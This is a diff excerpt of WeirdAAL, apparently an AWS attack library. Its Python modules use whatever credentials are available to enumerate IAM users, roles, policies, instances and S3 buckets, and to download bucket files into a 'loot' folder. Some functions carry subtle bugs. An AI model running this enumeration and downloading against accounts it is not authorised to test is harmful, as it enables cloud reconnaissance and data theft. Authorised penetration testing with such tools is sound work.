print("### Printing IAM Account Summary ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.get_account_summary()
# print(response)
if response.get('SummaryMap') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['SummaryMap']) <= 0:
print("[-] GetAccountSummary allowed for {} but no results [-]\n" .format(region))
else:
pp.pprint(response['SummaryMap'])
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_users():
'''
List users for the account
'''
print("### Printing IAM Users ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_users()
# print(response)
if response.get('Users') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Users']) <= 0:
print("[-] ListUsers allowed for {} but no results [-]\n" .format(region))
else:
pp.pprint(response['Users'])
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_roles():
'''
Lists the IAM roles that have the specified path prefix. If there are none, the operation returns an empty list
'''
print("### Printing IAM Roles ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_roles()
# print(response)
if response.get('Roles') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Roles']) <= 0:
print("[-] ListRoles allowed for {} but no results [-]\n" .format(region))
else:
for roles in response['Roles']:
print("Role Name: {}".format(roles['RoleName']))
pp.pprint(roles)
print('\n')
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_policies():
'''
Lists all the managed policies that are available in your AWS account, including your own customer-defined managed policies and all AWS managed policies.
'''
print("### Printing IAM Policies ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_policies()
# print(response)
if response.get('Policies') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Policies']) <= 0:
print("[-] ListPolicies allowed for {} but no results [-]\n" .format(region))
else:
for policy in response['Policies']:
print("Policy Name: {}".format(policy['PolicyName']))
pp.pprint(policy)
print('\n')
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_policies_attached():
'''
Lists all the managed policies that are available in your AWS account, including your own customer-defined managed policies and all AWS managed policies.
adds the OnlyAttached=True flag
'''
print("### Printing IAM Policies ###")
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_policies(OnlyAttached=True)
# print(response)
if response.get('Policies') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Policies']) <= 0:
print("[-] ListPolicies allowed for {} but no results [-]\n" .format(region))
else:
for policy in response['Policies']:
print("Policy Name: {}".format(policy['PolicyName']))
pp.pprint(policy)
print('\n')
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_user_policies(username):
'''
Lists the names of the inline policies embedded in the specified IAM user.
'''
print("### Printing IAM Policies for {} ###".format(username))
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_user_policies(UserName=username)
# print(response)
if response.get('PolicyNames') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['PolicyNames']) <= 0:
print("[-] ListUserPolicies allowed for {} but no results [-]\n" .format(region))
else:
for policy in response['PolicyNames']:
print("Policy Name: {}".format(policy['PolicyName']))
pp.pprint(policy)
print('\n')
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_attached_user_policies(username):
'''
Lists all managed policies that are attached to the specified IAM user.
'''
print("### Printing Attached IAM Policies for {} ###".format(username))
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_attached_user_policies(UserName=username)
# print(response)
if response.get('AttachedPolicies') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['AttachedPolicies']) <= 0:
print("[-] ListAttachedUserPolicies allowed for {} but no results [-]\n" .format(region))
else:
for policy in response['AttachedPolicies']:
# print("Policy Name: {}".format(policy['PolicyName']))
pp.pprint(policy)
print('\n')
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_list_entities_for_policy(policy_arn):
'''
Lists all IAM users, groups, and roles that the specified managed policy is attached to.
'''
print("### Printing IAM Entity Policies for {} ###".format(policy_arn))
try:
for region in regions:
client = boto3.client('iam', region_name=region)
response = client.list_entities_for_policy(PolicyArn=policy_arn)
print(response)
# this needs a if data for PolicyGroups, PolicyUsers, PolicyRoles do stuff
# if response.get('AttachedPolicies') is None:
# print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
# elif len(response['AttachedPolicies']) <= 0:
# print("[-] ListAttachedUserPolicies allowed for {} but no results [-]\n" .format(region))
# else:
# for policy in response['AttachedPolicies']:
# #print("Policy Name: {}".format(policy['PolicyName']))
# pp.pprint(policy)
# print('\n')
# # print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root/IAM key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

73
libs/aws/lightsail.py Normal file
View File

@@ -0,0 +1,73 @@
'''
Lightsail functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
AWS_SECRET_ACCESS_KEY = credentials.secret_key
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-2', 'ca-central-1', 'ap-south-1', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3']
def lightsail_get_instances():
'''
Lightsail Get Instances
'''
try:
for region in regions:
try:
client = boto3.client('lightsail', region_name=region)
response = client.get_instances()
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
elif e.response['Error']['Code'] == 'AuthFailure':
print('{} : (AuthFailure) when calling the Get Instances -- key is invalid or no permissions.' .format(AWS_ACCESS_KEY_ID))
sys.exit()
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('{} : (AccessDeniedException) no permissions.' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['instances']) <= 0:
print("[-] get_instances allowed for {} but no results [-]" .format(region))
else:
print("[+] Listing instances for region: {} [+]" .format(region))
# db_logger = []
for r in response['instances']:
# db_logger.append(['ec2', 'DescribeInstances', str(r), AWS_ACCESS_KEY_ID, target, datetime.datetime.now()])
# for i in r['Instances']:
pp.pprint(r)
# logging to db here
# try:
# print(db_logger)
# insert_sub_service_data(db_name, db_logger)
# except sqlite3.OperationalError as e:
# print(e)
# print("You need to set up the database...exiting")
# sys.exit()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the Get Instances -- sure you have lightsail permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

95
libs/aws/opsworks.py Normal file
View File

@@ -0,0 +1,95 @@
'''
Opsworks functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
# http://docs.aws.amazon.com/general/latest/gr/rande.html#opsworks_region
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-south-1', 'ap-southeast-1', 'ap-southeast-1', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'sa-east-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def opsworks_describe_stacks():
'''
Opsworks decribe stacks
'''
print('#### Opsworks Listing Stacks ####')
try:
for region in regions:
client = boto3.client(
'opsworks',
region_name=region
)
response = client.describe_stacks()
# print(response)
if response.get('Stacks') is None:
print("{} likely does not have Opsworks permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Stacks']) <= 0:
print("[-] DescribeStacks allowed for {} but no results [-]" .format(region))
else: # THIS PART IS UNTESTED
for r in response['Stacks']:
pp.pprint(r)
print('\n')
except botocore.exceptions.EndpointConnectionError as e:
print("Unexpected error: {}" .format(e))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'EndpointConnectionError':
print("[-] Cant connect to the {} endpoint [-]" .format(region))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def opsworks_describe_user_profiles():
'''
Opsworks describe user profiles
'''
print('#### Opsworks Listing User Profiles ####')
try:
for region in regions:
client = boto3.client(
'opsworks',
region_name=region
)
response = client.describe_user_profiles()
# debug
print(response)
# if response.get('Stacks') is None:
# print("{} likely does not have Lambda permissions\n" .format(AWS_ACCESS_KEY_ID))
# elif len(response['Stacks']) <= 0:
# print("[-] DescribeStacks allowed for {} but no results (everyone seems to have this permission) [-]\n" .format(region))
# else: # THIS PART IS UNTESTED
# for r in response['Stacks']:
# pp.pprint(r)
except botocore.exceptions.EndpointConnectionError as e:
print("Unexpected error: {}" .format(e))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'EndpointConnectionError':
print("[-] Cant connect to the {} endpoint [-]" .format(region))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

49
libs/aws/pricing.py Normal file
View File

@@ -0,0 +1,49 @@
'''
Pricing functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'ap-south-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def pricing_describe_services():
'''
Using pricing service describe services
'''
try:
for region in regions:
client = boto3.client('pricing', region_name=region)
response = client.describe_services()
print(response)
if response.get('Services') is None:
print("{} likely does not have Pricing permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Services']) <= 0:
print("[-] Describe Pricing Services allowed for {} but no results [-]" .format(region))
else:
print("### {} Services ###" .format(region))
for tables in response['ServiceCode']:
pp.pprint(tables)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the Pricing DescribeServices' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

58
libs/aws/rds.py Normal file
View File

@@ -0,0 +1,58 @@
'''
RDS functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def describe_db_instances():
'''
RDS describe DB instances
'''
print("### Printing RDS DB instances ###")
try:
for region in regions:
client = boto3.client(
'rds',
region_name=region
)
response = client.describe_db_instances()
# print(response)
if response.get('DBInstances') is None:
print("{} likely does not have RDS permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['DBInstances']) <= 0:
print("[-] DescribeDBInstances allowed for {} but no results [-]" .format(region))
else:
print("### {} RDS DB Instances ###" .format(region))
for r in response['DBInstances']:
for i in r['Instances']:
pp.pprint(i)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

60
libs/aws/route53.py Normal file
View File

@@ -0,0 +1,60 @@
'''
Route53 functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
region_single = ['us-east-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_geolocations():
'''
Route53 list geolocations
'''
print("### Printing Route53 GeoLocations ###")
try:
# cheating because they are all the same for this function call
for region in region_single:
client = boto3.client('route53', region_name=region)
response = client.list_geo_locations()
# print(response)
if response.get('GeoLocationDetailsList') is None:
print("{} likely does not have EMR permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['GeoLocationDetailsList']) <= 0:
print("[-] ListGeoLocations allowed for {} but no results [-]" .format(region))
else:
print("### {} Route53 GeoLocations ###" .format(region))
for app in response['GeoLocationDetailsList']:
pp.pprint(app)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

325
libs/aws/s3.py Normal file
View File

@@ -0,0 +1,325 @@
'''
S3 functions for WeirdAAL
'''
import boto3
import botocore
import os
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
AWS_SECRET_ACCESS_KEY = credentials.secret_key
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'ap-south-1', 'ap-northeast-1', 'ap-northeast-2', 'ap-northeast-3', 'ap-southeast-1', 'ap-southeast-2', 'cn-north-1', 'cn-northwest-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'sa-east-1']
region = 'us-east-1'
def s3_get_bucket_policy(bucket):
try:
client = boto3.client('s3', region_name=region)
print('\n#### Attempting to list s3 bucket contents and bucket Policy & ACL for {} ####'.format(bucket))
try:
for key in client.list_objects(Bucket=bucket)['Contents']:
print(key['Key'])
'''
# Create a paginator to pull 1000 objects at a time
paginator = client.get_paginator('list_objects')
pageresponse = paginator.paginate(Bucket=thebucket)
# PageResponse Holds 1000 objects at a time and will continue to repeat in chunks of 1000.
for pageobject in pageresponse:
for file in pageobject["Contents"]:
print(file["Key"])
'''
except KeyError as e:
print("Bucket: {} is empty".format(bucket))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : cant list s3 bucket [AccessDenied]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'NoSuchBucketPolicy':
print('%s: Has No S3 Policy!' % bucket['Name'])
elif e.response['Error']['Code'] == 'AllAccessDisabled':
print('{} : cant list s3 bucket [AllAccessDisabled]' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
try:
policy = client.get_bucket_policy(Bucket=bucket)
if policy:
print(bucket + " Policy: ")
pp.pprint(policy['Policy'])
print("\n")
else:
print("no Policy found for: {}".format(bucket))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : cant list s3 bucket policy [AccessDenied]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'NoSuchBucketPolicy':
print('\n{}: Has No S3 Policy!' .format(bucket))
print("\n")
elif e.response['Error']['Code'] == 'AllAccessDisabled':
print('{} : cant list s3 bucket policy [AllAccessDisabled]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
try:
acl = client.get_bucket_acl(Bucket=bucket)
if acl:
print("{} ACL Grants: ".format(bucket))
pp.pprint(acl['Grants'])
print("\n")
else:
pass
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : cant list s3 bucket acl [AccessDenied]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'NoSuchBucketPolicy':
print('{}: Has No S3 Policy!' .format(bucket))
print("\n")
elif e.response['Error']['Code'] == 'AllAccessDisabled':
print('{} : cant list s3 bucket acl [AllAccessDisabled]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_list_bucket_contents(bucket):
try:
client = boto3.client('s3', region_name=region)
print('\n#### Attempting to list s3 bucket contents for {} ####'.format(bucket))
try:
for key in client.list_objects(Bucket=bucket)['Contents']:
print(key['Key'])
'''
# Create a paginator to pull 1000 objects at a time
paginator = client.get_paginator('list_objects')
pageresponse = paginator.paginate(Bucket=thebucket)
# PageResponse Holds 1000 objects at a time and will continue to repeat in chunks of 1000.
for pageobject in pageresponse:
for file in pageobject["Contents"]:
print(file["Key"])
'''
except KeyError as e:
print("Bucket: {} is empty".format(bucket))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : cant list s3 bucket [AccessDenied]'.format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'NoSuchBucketPolicy':
print('%s: Has No S3 Policy!' % bucket['Name'])
elif e.response['Error']['Code'] == 'AllAccessDisabled':
print('{} : cant list s3 bucket [AllAccessDisabled]'.format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_s3object_acl(bucket, myfile, region):
'''
# specifically get the acl on a file in a buckeet
'''
try:
client = boto3.client('s3', region_name=region)
print('#### Trying to enumate s3 ACL for {}:{} ####\n '.format(bucket, myfile))
acl = client.get_object_acl(Bucket=bucket, Key=myfile)
print(acl)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_get_objects_for_account():
'''
list s3 buckets for an account
'''
try:
client = boto3.resource('s3', region_name=region)
print('#### Trying to list s3 bucketsfor {} ####\n '.format(AWS_ACCESS_KEY_ID))
for bucket in client.buckets.all():
print(bucket.name)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : cant list s3 bucket policy [AccessDenied]' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_get_objects_for_account_detailed():
'''
list s3 buckets for an account and their policy
'''
try:
client = boto3.resource('s3', region_name=region)
print('#### Trying to list s3 bucketsfor {} ####\n '.format(AWS_ACCESS_KEY_ID))
for bucket in client.buckets.all():
print(bucket.name)
s3_get_bucket_policy(bucket.name)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_get_bucket_objects_from_file(file):
'''
For a list of buckets attempt to list their contents
'''
try:
client = boto3.resource('s3', region_name=region)
with open(file, 'r') as f:
for line in f:
line = line.strip()
if not line:
continue
else:
s3_get_bucket_policy(line)
except FileNotFoundError as e:
print("{} not found".format(file))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_download_file(bucket, file):
'''
download a file from a S3 bucket
'''
try:
client = boto3.resource('s3', region_name=region)
client.Bucket(bucket).download_file(file, '{}/loot/{}'.format(os.getcwd(), file))
print("file downloaded to: {}/loot/{}".format(os.getcwd(), file))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == "404":
print("{} object does not exist.".format(file))
elif e.response['Error']['Code'] == 'InvalidClientTokenId':
